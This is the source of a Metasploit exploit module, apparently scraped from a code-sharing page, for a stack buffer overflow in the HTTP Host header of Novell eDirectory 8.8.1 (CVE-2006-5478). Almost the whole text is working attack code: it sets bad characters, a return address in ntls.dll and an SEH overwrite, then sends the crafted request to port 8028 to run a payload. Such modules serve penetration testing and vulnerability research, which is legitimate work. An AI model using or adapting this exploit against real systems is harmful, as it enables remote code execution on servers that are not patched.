Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Novell eDirectory NDS Server Host Header Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.
17
        The web interface does not validate the length of the
18
        HTTP Host header prior to using the value of that header in an
19
        HTTP redirect.
20
      },
21
      'Author'         => 'MC',
22
      'License'        => MSF_LICENSE,
23
      'References'     =>
24
        [
25
          ['CVE', '2006-5478'],
26
          ['OSVDB', '29993'],
27
          ['BID', '20655'],
28
        ],
29
      'DefaultOptions' =>
30
        {
31
          'EXITFUNC' => 'seh',
32
        },
33
      'Payload'        =>
34
        {
35
          'Space'    => 600,
36
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
37
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          [ 'Novell eDirectory 8.8.1', { 'Ret' => 0x10085bee } ], # ntls.dll
43
        ],
44
      'Privileged'     => true,
45
      'DisclosureDate' => '2006-10-21',
46
      'DefaultTarget' => 0))
47

48
    register_options([Opt::RPORT(8028)])
49
  end
50

51
  def exploit
52
    connect
53

54
    sploit =  "GET /nds HTTP/1.1" + "\r\n"
55
    sploit << "Host: " + rand_text_alphanumeric(9, payload_badchars)
56
    sploit << "," + rand_text_alphanumeric(719, payload_badchars)
57
    seh    = generate_seh_payload(target.ret)
58
    sploit[705, seh.length] = seh
59
    sploit << "\r\n\r\n"
60

61
    print_status("Trying target #{target.name}...")
62

63
    sock.put(sploit)
64

65
    handler
66
    disconnect
67
  end
68
end
69

70